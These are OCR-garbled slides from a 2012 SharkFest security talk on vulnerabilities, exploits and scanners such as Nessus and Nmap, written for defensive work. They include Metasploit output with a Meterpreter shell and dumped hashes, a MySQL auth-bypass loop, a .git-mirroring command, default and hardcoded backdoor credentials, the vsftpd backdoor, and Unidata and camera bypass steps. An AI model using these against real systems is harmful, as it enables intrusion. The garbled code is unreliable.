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SkullSpace Winnipeg

* Winnipeg’s first (and only) hackerspace
— Largest of its kind in Canadal!

* Closely tied to AssentWorks, a makerspace
— Largest of its kind in Canada, too!
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* Vulnerability

* Exploit

* Proof of concept
— Safe + Unsafe

* Check
e Scanner
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Vulnerability

» Aflaw that can lead to a loss in security
— Confidentiality, integrity, or availability
» We'll look at a bunch of examples

— These are all examples of checks |'ve written
— Some are fairly obvious attacks, some aren't
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msf

Generally the “goal”
— Often code execution

3 > exploit

exploit(

| Connecting to the server...

I=] Started bind handler
“1 Authenticeting to 192.168.1.128:445IHORKGROUP as user ‘ron'...
I Uploading payload,..
‘| Created \yHpiwVac.exe...
| Binding to 367abb81-9844-35f1-ad32-98F038001003:2.08ncacn_np:192.168,1.128[\sveectl] ...
| Bound to 3b/abb81-9844-3511-ad32-481038001003:2 . 08ncacn_np:-192.168.1.1280 \svectl] ...
‘| Obtaining a service manager handle...
| Creating a new service (lFocOroll - "MsD jGHhvhIhN1CayCHkkg™) . ..
| Closing service handle...
1 Opening service...
| Starting the service...
| Removing the service...
| Closing service handle...

Deleting ‘yHpiwVYac.exe...

| Sending stage (/52128 bytes) to 192.168.1.128

500

| Meterpreter session 2 opened (192.168.1.201:47231 -> 192.168.1.128:4444) at Mon Jun 18 09:07:04 -0

2012

> hashdump

fidministrator :500:d702al1d01b6bc24114828e3833244F 35 :4cad2d1b/908cabecal/ 70861 /567113F - - -
ASPNET :1004 : 267 a4891572F80a94d7dd2409F 369a7 f : bc5 T 3b4c5b1 038062164021 FE09546 ; - -
Guest 501 aad3ibd435b5%1404eecaad3b43%h51404ee : 31dbe Felddl Bac93 107/ 3c59d fec0B9c 0 - ¢ -



» Can be simple/safe
— ie, log in with a backdoor username/password
— Authentication bypass (my favourite!)

* Can be difficult/dangerous

— ie, corrupt memory jussssst right to bypass safechecks
and execute code

— Much more interesting, but rarely stable
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Shellcode
— The goal of many exploits

moyv byte [ebx], '@

inc byte [ebx-1] : Increment the second digit

find kernell

moyv  &ax, Siohy + Oxd)] ' ExN 1 TEl
MmOy eax

find kernel 32

find kernel32 base loop:

dec eax ; Subtract t ur next page

X0 ax, ax : Zero the Lower hali

cmp word. [eax], Gx5add [ this the top of kernali2?

1iing Tind Eermel AF hace loon +* Nones ™ Sain

M —h B

X Bxlc] v oafad . a Tunction poimt: that's @xlc bytes into the stacl

r oase !




PoC (Proof of Concept)

» Usually a partial exploit
— Frequently a denial of service - like fills memory with
\x41 (‘A)
— Often crashes the service
— Sometimes useful, sometimes not
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* Determine if a host is vulnerable

 What they do:

— Check version numbers
— Try and produce incorrect behaviour
— Try to run actual code

* How it's detected depends on the nature of the
vulnerability
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Checks - Safe vs Unsafe

» We generally divide checks into ‘safe’ and ‘unsafe’

— Safe checks use version numbers, odd behaviour, or
command execution

— Unsafe (aka, dangerous, intrusive) checks may damage
the service, congest the network, or cause unwanted
side effects

* (Goal is always safe checks

» Sometimes a lot of effort goes into making a check
safe
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* A program that performs multiple vulnerability
checks against a host or network

* EQ: Nessus, Nmap, etc.
 More later
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Who runs vulnerability scanners?

* The Good Guys ™

— Network administrators
— Security department

— Penetration testers
* Though hopefully they do more than just run tools...
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Who runs vulnerability scanners?

* The Bad Guys™

— Breaking into your sites for fun and profit!
— Many reasons... let’s look at examples
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Who runs vulnerability scanners?

Korelogic
[ The Bad GuyS TM E:lrf: Im sure somedne else already announced this
1 sanuaallieaends boardfannounce. .. But Lol finally
. announced that rr'u.',.rl.rn.'n oW |'||:'|1 o0, SHAZE6 hash type
— Stealing passwords
HD Moore
LOOk at the dates 9 Woops, | misread, thanks tor the guick corrections. LastFM announces
— A password eak: last imdpRssaortlsecur
* This month!
Dan Goodin
. = eHarmony confirms 18 members’ passwords were posted online, 100
. D|ab|0 3? r" Illil-,.lllm:!ljl" I,_. s |.!;.LI| RS S WO E pOSTe !
* |tem theft = $$$

= Jeremiah Grossman
»{ apparently thare's another password st of 1.5Mil unsalted u1|.1
= hashes. Speculation says it belongs 10 eHarmony: Bt ly/Lyd8TX

My briet life as a Diablo IIT hacking victim

A tale of dI:SEDFIEEI'iﬂQ items, late authenticators, and few concrete answers

by Kyle Orland - May 30 2012, 4:30pm PDT



Who runs vulnerability scanners?

* The Bad Guys™
— Sending spam
— Ever seen one of these?

Email us a comment!

Your name: |
Your email: |
Your comment:

SHARKFEST 12
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Who runs vulnerability scanners?

* The Bad Guys™
— Sending spam
— Do you realize how often it looks like this?

<form action='email.php'>
<h2>Email us a comment!</h2>
Your name: <input type='text' name='name' /><br />
Your email: <input type='text' name='email' /><br />
Your comment:<br />
<textarea name='message' rows='5' cols='80"'/></textarea><br />

<input type='submit' value='send' />
!cinput type="'hidden' name='to' wvalue='webmaster@domain.com' /> |
</Torm=
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scanners?

<SCript type="text/javascript"s
function nextRandombumber(){
var hi = this.seed / this.0;
var 1o = this.seaed % this.0;
var test = this.A * lo - this.R * hi;

 The Bad Guys™ e ot < e

1} else {
this.seed = test + This.M;

- BOtS’ malWare! etC 1liT-'fJFrl (this.seed * this.onelverM);
}
— ThIS IS an example Of funr_::?nuﬁznﬁgﬁ:ﬂgzﬁmﬁnﬂﬁgmunun..

var & = d.ogetHours({) = 12 7 1 : ©;

the BlaCkhO|e Exploit :Eiz:;etnqzaiifﬁﬁ?ﬂgm + {d.getMonth() * BxFFFFFF) + (d.getDate(} * BxF

this.M = 2147483647 :
' this.{ = this.M / this.A;
F<i|t this.R = this.M % this.A;
this.onelverM = 1.8 / this . M;

this.next = nextRandomumber;
return this;

]

function createRandomNumber({r, Min, Max){
return Math. round( (Max-Min) * r.next{) + Min):
I

function generatefseudoRandomString{unix, length, zane){
var rand = new RandosNusberGeneratorunis);
var letters = ["a', 'k’ "¢ g, et 0 r0gt Lt N TR L et Pl
var str= "'
for{var 1L = 8; L = length; § + j{
str += letters|createRandomMumber(rand, @8, letters.length - 11];
1
return str + '.' + rone;

var unix = Math. round(+new Date()/18006) ;
var domainName = generatePseudoRandomStringlunix, 16, “ru');
alert (donaink=sme) ;
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Vulnerabilities

* Let’s look at a bunch of examples and how we detect
them!

— Web
— Overflows
— Memory corruption
— Configuration errors
— Authentication bypass
— Backdoors
— Session hopping
* Note: Nessus will detect almost all of these (except the
special purpose ones)
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Web vulnerabilities

* Many types
— Cross-site scripting
— SQL injection
— Cross-site request forgery
» Detection
— Sometimes easy — known issues

— Sometimes difficult — need an inventory, recognize custom
code, custom error pages, etc

» Not going to spend any more time on this
— See: OWASP Top10
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Overflow vulnerability

» Various types - stack, heap, .data, etc.
— Basically, overwrite variables that shouldn't be overwritten

— Detection can be easy or hard

int vuln function(SOCKET s) int patched function(SOCKET s)
{ {
int varl, var2, var3: int varl, var2, var3;
int length; int Length;
: ; - buffer ;
int buffer(1024]; k-BrTer 1828d7
_ . ) // Receive a 2-byte length value
// Receive a 2-byte length value if(recv(s, &length, 2, NULL) < @)
if(recv(s, &length, 2, NULL) < 0) ERROR("Error in recv()");

ERROR("Error in recv()"); :
if(length > 1624)

: . . ERROR("It's too long!");

// Recelve that many bytes ]

recv(s, buffer, length, NULL); // Receive that many bytes
recvis, buffer, length, NULL);
//
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Overflow vulnerability — Samba

Infinite loop of processing

vold samba recv(SOLKET s)
{

char *packet, next offset;

/* Receive the packet */
recv(s, packet, MAXLEN, NULL);

while(TRUE)
.[
(* Process 1t */

process packet(packet);

i et a po r To the next packet *

ncte
next offset = packet [ANDX OFFSET];

J*¥ IT it's @, we're finished *
if{next offset == 0)
return;

* G0 to the ne packet and keep processing */
nackpt = panket + ﬂext of fset;
}
}
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Memory corruption vulnerability

* Typically difficult to detect
— Have to understand exactly what's going on
— This example is a simplified version of ms08-067

1t wvulnerable func{char *s, int length)
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Configuration errors

* Eg, blank or default passwords
— *cough* Oracle *cough*

Uzername
BRIO_ADMIM
BRUHZERMAWT
BRUEERMNAWM
BEC
BUG_REPORTS
CALYIN
CATALOG

CCT
CDEMOE2
CREMOE2
COEMCEZ
CDEMOCOR
COEMORID
CODEMOUCH
COOUGLAS
GE

CENTRA,
CEMTHAL
CICH=

Cls

Cls

CISIMFO
CISINFO
CLARK
CLEANA,

Fasswird
BRIO_ADMIMN
ADGANGEKODE
BASEWDHD
B5C

Gl _REPORTS
HOBEBES
CATALOG
CCT
COEMOEZ
CDEMCES

LI T
COEMOCOR
COEMORID
COEMOUCE
COOUGLAS
CE

CENTRA
CEMTHAL
CIDS

L |

INERG
CISIMFO
ONERG
CLOTH
LN O =

Descrption

BRIO_ADMIN is an account of & 3rd party product

9iR2 documentation

2R documenation

BSC Iz a schema account from Oracle Applications, Default it has sewveral CREATE privileges
From a book

CALYIM is an acocoon [o demonstrate A0LSemer. It should not exist in a production environme
CATALOS 12 an account of a 3rd pary product

CCT is a schema account from Oracle Spplications. Defadlt i has several CREATE privileges
Thiz is a training account. It should not be available in 3 production ardronmeant

Thiz i5 & training accourd, It should nol be available in 3 production arviranment

This 15 & traming account, | should not be avalable in @ production amaronment

This 15 a training account, It should not be available in & production emirenmant

This is & training account. |t should not be available in @ production emaronment

This iz a training accounl. it should not be available in & production emaronment

COOUGLAS i1s a schema owner of Workflow |asdb

CE is a schema account from Oracle Applications. Default it has several ANY privs

CEMNTRA is an account that presumably manages Centra application software.

CENTHAL iz an administraiive account for Cluest Central(?).

CIDS s an account for Cerberus intrugion Cetection System

Cl3 12 an account for dbengine

15 iz an account for dbengine

CISINFD i= an sccount for dbengine

CISINFD 12 an account for deengine

This is a traming account |t should not be available in a production erronment

CLEAMA 12 an account for Oracle Clicksiream Intelligence



Configuration errors

Index of /.git

CHDDOOED NN

o
B

25

Files on the web servers that shouldn’t be there
— This example is a true story from earlier this month...

K=

PE—

ronParmitage " /im so % wget ——include directnriEE‘f.git mirror http://wwu, f.git >/dev
ronfarmitage Jimp/pit - deso 5 mv wuw. f.git .
ronfarmitapge ] L— s git reset —hard

B HEAD is now at LrF‘tUb Cleaned up the Jme1351unJ code some more

ron®armi tape lemo % prep 'password=" ®/x

cat ../db/breachdb.sql | mysql -h STEST_HOST -u STEST_USERNAME — STEST_PASSHORD -D
mysgldump —u =
ronBarmitage ~/lsp/git—deso § []




» Unauthorized way to access the program
» Sometimes called “maintenance hook’
» Can be legitimate (bad) or malicious (worse)

* Generally easy to detect, once it's known
— Just try to run a command!
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Backdoors - legitimate

* Note: being legitimate doesn't make it right!

— This is from an industrial controller system, and are
hardcoded (can’t be changed!)

make_list('qbf77101", "ftpuser', 'sysdiag', e
make_list( 'hexakisoctahedron', 'password', 'factorycast@schneider');

foreach user({users)

{
pass = passes|[j++];
soc = open _sock tcp(port);

if(soc)

{

answer = recv(socket:soc, length:4096);




Backdoors — malicious

* Added by somebody evil
— Malicious programmer, somebody who broke in, etc.
— Lots of good examples, but this is from vsftpd:

int
str contains Line(const struct mystr® p str, const struct mystr* p Line str)
{
static struct mystr s curr line str;
unsigned int pos = 8;
while (str getline(p str, &s curr _line str, &pos))
{
1T (str equal{&s curr Line str, p Line str))
{
return 1;
}
else 1f{(p str->p bufl[i]==0x3a) // ":"
&& (p str->p but[1+1l]==0x29))
{

1
I

}
return @:

vef sysutil extra(); €—_

ARKFEST 12



Authentication bypass

29

 Similar to default credentials or backdoor
* Bypass the authentication without credentials

» Typically simple but interesting
— My personal favourite, as you'll guess by my examples

» Usually easy to detect and/or exploit, once you
figure It out
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Authentication bypass — MySQL

* June 11, 2012 - “Tragic” MySQL vuln

ronBarmitage = % for i in "seq 1 10007 : do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null: d

:r, passuword from mysql.user:

| =BEIC2DBFCC29124CC449D636286 /20E216F D950 |
| =01395B107C2BA9EQO608CC243042DAR367037B80 |
b e e e g e e e S S M e - e e e e e e _1.

ronfarmitape — § |:|

SHARKFEST 12
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Authentication bypass — HP Client

Automation

* | wrote a blog detailing this on skullsecurity.org
* Here's the logfile:

Pool [C:~PROGRA™1-HEWLET~1-~HPCA“Agent>~Lib“~ZMASTER .ED
Dbject Version: [4]

Total [0001] pools restored (wl6el)

Trace Level has been reset from [64] to [40] (wl62)

Faz=word werification has not been regueste

Fath restricted to IDMSYS =ubdirectory

T=erid werification has been di=sabled

OT=zing HTF Port: 3F465

Launched [C ~PROGEA~1-HEWLET~1-HPCA~Agent~radalert .=
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Authentication bypass - Unidata

» | discovered this almost 2 years ago
* |t was fixed last month

* https://www.upsploit.com/index.php/advisories/view/
UPS-2012-0012
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Authentication bypass - Unidata

- Step 1: see what a

=

connection looks like

Follaw PP Glivam

I

Samiy  SIFEET T

o

Initialize

wf - Ol —
[ R L
NROOGGDE G O] DO OO OO OF BD Be B0 DO B0 OB U2 oD DD BB L 5
DOODGELY 00 &0 D0 05 DO 0L B0 DO 0O 00 B0 O1 00 &5 00 5O WESRUSE)
e et ] Ay oh
OEONNIC & 02 il me OO o TR TH ¥
!
_ e I TH . R B B &0 fe &5 00 06 &9 Authenticate
— U RN TR il TN Ge TP Y Ge O B | al Isitnl 0]
TEN TR [ pasvward Lised name
Algesd.: T4 - 0 0D B3 08 0T o5 DD L recpangs)
Sk ¥ B0 00 00 o4 OF oD 00 on | 1] a8 )
oo 4 BE O 40 oo == |
Do samething
Wi N fin '-'I.- =
DLl o0 OO DO 08 03 EE B0 0 L . .
£ G 8 [ ] 00 o0 00 84 i (responsel
11010 0% D0 OB o0 07 [0 00 0O &d °F )
NN T B4 DD 0% S0 DD 00 00 DO G0
ool I B DD O3 o0 DB GO0 O0 2 O4
[HIG G 3l % On 89 &0 02 @0 60 8O 'oh 47 3 i
THREEOLE rs S B0 0D Do ' W T2 hd r
nonpeaEy 5 & k. B0 05 SO A8 8 84 &0 0b
DO00GN B3 OO0 A0 22 8N 43 90 Ol 737 Ju 102 Jo 1M R

« Find

Hinu E:l b E|1-"rr| Ermirg consarsasinn (550 bptet|
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Authentication bypass - Unidata

* Step 2: implement in the most naive way possible

|
puatzl ]

zleeni 1)

hosthame =
part =

= = [kt cpent hestnane, port)

puksi

send _racvl s,

serd_reculs,

send_racvls,

port

+ B Lemgth + Tyge (1)
+ B Lesgth » Type (2)
+ B Yalie (1)
# Walue {2}

aEnding:
Gc 0P 00 00 00 00 00 24 00 00
00 00 Qo oo 00 02 Q0 00 00 (0
00 00 00 dg 00 OO0 (0 GF 0 00
Ba ff 8f 9= Sc Gc

0 02 00 00 i) LavusuiFswaanmai
0l 00 Q0 () i) S A e A
of Bl B4 Bd ES PP | )|
(5]

Mesissinsnasn

EEEE

Receiuved:

Be 02 00 02 00 00 00 O 00 00 00 00 (2 90 00 00 Visck it i vk
00 G0 G0 00 G0 61 G0 60 G0 G0 OO 04 OO 90 00 00

00 g0 g oo

Serding:
G 92 00 00 G0 00 00 13 G0 00 50 $0 02 00 00 o
00 00 00 00 90 G2 G0 00 D0 00 00 00 90 0 00
G0 G0 00 02 00 00 00 02 00 00 00 05 37 32 00 4

1-r|-r|--1--l:r;'-r

=

Received:
00 04 00 G0 00 75 00 60 0

| 0 00 (2 0 ()
00 g0 G0 Of Q0 J0 00 J0 0

i1

- 0 D) G G e e e
Q0 09 00 G0 00 92 00 00 00 Od 00 o) (O OF R e PO R
0 00 o4 00 00 Q0 00 00 40 00 0 00 {0 00 0F N L A e
o0 b 00 00 00 GO 00 00 00 o 00 0 00 ) R R
00 05 00 g0 00 02 00 00 00 00 43 3a S 72 AT L
Bd 73 Se 00 00 00 43 s S5 T2 B4 B2 B4 T3 dhmeh, . Crhrdhns
B B Sc 0 (0 00 00 (0 00 00 00 0 00 o £ 1 7 L S

00 00 90 00 G0 0 37 2e 32 Je 20 0 B |

rori#ankhi ™ stub b acia/ rond sece | by F01]-02-26-uinnipeg-code-cangd |
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Authentication bypass - Unidata

» Step 3: Skip the part where we sent authentication
— (not shown: change the command to ‘whoami’)

e ew (x5 ew _______________[x]

putst’ 3 tha X
zleepl 1) ranBankhi™/stuf Fiprojecte/rondsacurl by 2011 -02-Fo-winni peg-code—canp$ ruby rdbwes e
vl by
Conmected to 192,168, 102,131 31438
hostnane = 1 (51 LA Sendirgs:
part = F1d43 G Ol 0f 00 o0 00 Of 14 00 00 00 00 02 0 00 00
GO O 0f 00 0 01 00 GO 0D 00 0o 08 00 g0 G 02 e m
z = [CPSocket, openl hosthans, port) 0o g 0D s
putsl i hostnans | S0l port )
Received:
send_reculz, = QGc Ol 00 00 O 00 00 O 00 00 OO D0 02 @0 00 00 ] R S
« OO 00 0h 00 00 0f 00 00 00 00 00 oL O 00 00 00 L .iiieiesesesas
| 00 00 00 00 s
merd_recwls, ook orlE e 00 e (0 o0t e 00 oD 2 Y oDl e DDA o OO o e CEP e OO e D o f S g
=00 oM e M0 oM DN e DN 0N e D0 i oo a0 () oD o0 oD e Bo 02 00 00 O 00 00 158 D0 00 OO 06 02 00 GO 00 L ciwsis b i
= Hoatinl oo e e DN e O D0 e O oo 0D o0 D e ek Ml Q00 00 0D G0 O 02 00 00 00 00 00 ol 00 0 00 OO
“Soohetocf o oce ool ooie ool oS0 oot oo 0N oo™ ) G0 B0 00 19 O 00 00 02 00 00 00 05 B3 Bd B4 28 fissesuees +=oCmd,
B5 T4 BS 20 2f B3 20 77 BB 6f 61 Bd B9 exa Ao whoanl
send_recul s, *
4 Heceived:
+ 8 Length + Type (1) o 02 00 02 0 00 g0 23 00 00 00 00 02 00 00 0 e e e e e s yrars
+ & Length + Tape (2) 80 G0 G0 0 00 02 00 00 00 00 OO 0d 00 00 Q0 00 L. eieieeessens
+ # Value (1) OO 00 00 14 0 00 00 G2 £F FF FF Fe be 74 20 6L e wessrrapsnalic ¥ |
® Valie (2) 75 74 BB Bf TZ'E9 V4 73 5c 73 79 T3 74 65 Bd 0a uthor 1 tyhaysten,
] i) :

"Pdbes ek BEL, 18140 weitten rardankhi ™/ stuf fipro jectsdrondaecur Ly
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Authentication bypass - security camera

» Step 1: Trytolog in

Secure Access Login

Password; FHiee

|__Login || Cancel |

aving problems logging in? Click hers,

2

Login Faded| Pleass try ancering &

a dffarent useename o passwond,

_E

|__Login__|| Cancel |

ving problery

s logeing

in? Click hers,
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Authentication bypass - security camera

* Step 2: Find the error message

J DA - C\Docurments and Settings _ = =10 x|
Fie Edt Search View Debugoer Opbions Windows: Help

M| Functions wandow = 3':| % [E] DA Viewd | ¥ 3 HexViewa | X ﬂ Syychige: | X Em Erumg X 40" Shings wandow L
f‘-"'ﬂhm narms =1\ doddies | Lengih | Type | Stimg

Fij wfind i x x4 adata0MD. 000005 C i+hM

il -

Hiso_¥1130 rdata: 0040 00000 - C Succesl

¥ g daty040.  DOOOONZ C Logn successiul

) Dialogkune ata (040 DOOODODE € Fail

". |—zecunby_cheek_cookiefx) B idata (040 Moy ¢ Logn lafedf! Plesse by erlenng a difesen] usermame ai pazswoid

& pie_cpg_rel telalg: 0040 mooate C ASOSA

7l manCAT Statup clata: D040 DOOOOOTT ©

o {$LNET idaba 0080, OO0DODOE € USERZ2.dI

o stan L ERR oogomc C MSYCRS0.0

JHltepod_gatatue wata D040  OOOODOOD C KERNELIZA

1#|__CaslUinkhendiedE seephionFibef EXCEF

N SLNG

bt _amag el

:"-' ol =
KR gLl
| Loe 5 of 10
| (Bl Do window |:|
IoafyThon wersion 1.4.0 fimal (serial aj i |
boopyright (€3 2004-2010 Gergely Erd=lyd - http:/frfcode. googis. comsfp s dapython s

u;lﬁg FLIRT L1 gnature: MICFOSOrT viswalo ..-J.U.-"l'-E;I FUACTME .

Propagating types tnformation. ..

FURCTIon argument informacion has been gropagaced j
The 1n1Ti1al 2utaanalysi1s has Been Timished. =
L e Do [Dlsk 258 | HARKFEST 12




Authentication bypass - security camera

* Step 3: Find the code

A JIDA - ) Documents and Settings\ron', =0 =|
Fle Edt Jurmg Sesrch Wisw Debugger  Options ‘Windows  Help
¥/ Functionz vandow B X X5 IDAViewd | X 5 HexViewd | X B, Stnuckises | X Em Enums | X Sbiags wardow L
Funedion name = push esi ; hlnstance |
oy widdirid ainlan i) call edi ; |--':"=”-|:'-|-"i-'“l'l-I —!
» sub_ 401713 ey Pax, P51
] call sub 4B1130
1 sub_ 4071010 :
p oy Eax, dword 4618
" AR O B T ecx, [esp+rZ8h+uar 2@)
i1 secuiby_check_coohaE(x & | =
71 _pie_cpp_init
."-'_ ___ bpanCRTS St push 4y
‘_—"[LHFFI push oFESEL asuUcCess | HECESSY
Wiy start push pffset aloginSuccessfu ; "Login successiul?
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¥} __CwilinhandedE sceptiorF e EXCES
4 NG , i i
- W nsa: ;: CODE XREF: wHinHain(x,®,x
1 _amag e push d0h ; uType
= i T
Y __onewt b _ push pFfset Caption ; “Fail! -
q | 4 4] | b
] _ _ [DO0DOSSF 04103 wiMaindx, %, peSF
' Chutpue vargdow ﬂ
IoaFyThom version 1.4.9 Tinal (serial o) E
—opyright (c} 2004-2010 Gergely Erdelyi - htep:fcode.google. comsps 1 dapythons
Usimg FLIRT sigmature: Microsoft wiswald z-10/met runtime
Propagating type inTormacion. ..
Function argument information has been propagated
The 1A1T1al autoanalysis has been Tipished, El
Puth
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Authentication bypass - security camera

» Step 4: Modify the code in memory
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Authentication bypass - security camera

» Step 5: Try to log in (also, profit!)

|__Login || cancel |

Having problems logging in? Click here.

40



Authentication bypass — RealVNC

* Areally funny example

* Server: “You may authentication with ‘good’, ‘better’,
or ‘best’ authentication”

- Client: “I choose ‘none” REAL

« Server: “Welcome!” Vn
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Session hopping

» Changing to a different session (probably with
higher privileges)

* Lots of ways...
— Stealing/guessing a token

— Sessions not invalidated properly (aka, session fixation)
— Etc.

» Often very difficult to detect

2 SHARKFEST 12
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Session hopping

A government program
actually did this. I'm
serious. | wish | was
joking.

* (Nessus won't detect
this, nor will any
scanner)

http://localhost/

- 2 cookies

MNAME userid E—

VALUE 2 o
HOST lacalhost

PATH

SECURE Mo

EXPIRES At End Of Session

W Delete Cookie

NAME USEITIAME E—
VALUE ron e
HOST loc alhost
PATH
SECURE Mo
EXPIRES AL End Of Session
- Edit i
% Dele



Tools

» Let's start by talking about general concepts
— Enumeration
» Portscanning / web spidering

— Vulnerability detection
» False positives / negatives
» Passive vulnerability detection
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» Portscanning
— Determine which services are available

— Instead of running 50,000+ checks against mostly
closed ports, just run the 100 applicable ones

 Web spidering
— Determine which pages and arguments exist
— Run tests against all pages + arguments
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Vulnerability detection

» Test for each individual vulnerability on every open
port
* As discussed earlier, several ways
— Get a version number
— Look for interesting responses
— Exploit the vulnerability
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Vulnerability detection

» False positives + false negatives
— Some checks aren’t 100% reliable
— Where do you err?
— Nessus has an option: “report paranoia”
— Check vulnerabilities manually!
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Vulnerability detection

» Passive vulnerability scanning

5 Beckdoors Discoversd

Plugin D

521

Plugin Name

Severity | IP Address Last Observed
Shuxnst Traffic Delecton

Higl 1T22051 Jun 11, 2012 8:15
fl5a DNE Clhierst Flame Infaction Hal 1722015100 Jun 11, 2012 1426
440 GZenenc Botnat Client Detaction High

10.10.51.6 Mar 24,2012 0:03

Lmad Lyt £ days age

Plugin ID: 5721 Address: 1T2.20.5.11 Paort [ Protecal: (011 10p)
Plugin Nama: Stusnet Trafia Detacfion

Repostary! TNS Passive Dala

Family: Backdoars
Firat Discoversd: Jan 17, 2012 2251
Last Ohewrweel: Jumn 17, 2002 515

PVS Timesiamp: Jun 17 08:58:33

Tha remcils hoal = proaiiNg SR traffic which ie te] Ll A BPC ULID which is BYTIGE eI vt e Ségahab tregan Tha iy indhcabe Bl eether e host 16 infecisd with alusned o the sl 8 scanning
for Stuxnst-rifect=d machines
Sodution

Ernasirm 1l the syutam o ot ndested W r e pod infected, ansum 1501 Be aviies

niithanzes] b b duirsneng Secgry BEsm

e e fisbasrk



Tools

» (Going to talk about the tools I've been involved with
— Nessus
— Nmap
 Tools that also exist that | won’t mention since I've
never worked on them:
— Nexpose (Rapid7)
— Burp suite
— Foundstone
— |IBM Rational Appscan
— ...lots more
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Tools — Nessus

» Written by Tenable Network Security
— My current employer

 QOldest tool of its kind

— Version 1 was 1997 or so
— Current version is 5.0.1, released earlier this year

— Uses Nessus Attack Scripting language — NASL - for
checks

Z®>TENABLE

Network Security”
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Tools — Nmap

* Originally a portscanner
— Also released in 1997

* Added the “Nmap Scripting Engine” a couple years
ago
— Scripts are written in Lua

— Mostly community-contributed and Google Summer of
Code students
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Tools — bottom line

« Some tools find different issues, and have different
strengths

* | personally run three different tools
— Nmap, Nessus, and Burp Suite
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Tools - output

* You will get false positives and false negatives
— Confirming issues is important

* |ssues discovered by tools may have the “wrong’
severity ratings

— Understanding the business and triaging issues is
critical
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Questions?

* Blog: http://www.skullsecurity.org
 Email: ron@skullsecurity.net
* Twitter: @iagox86
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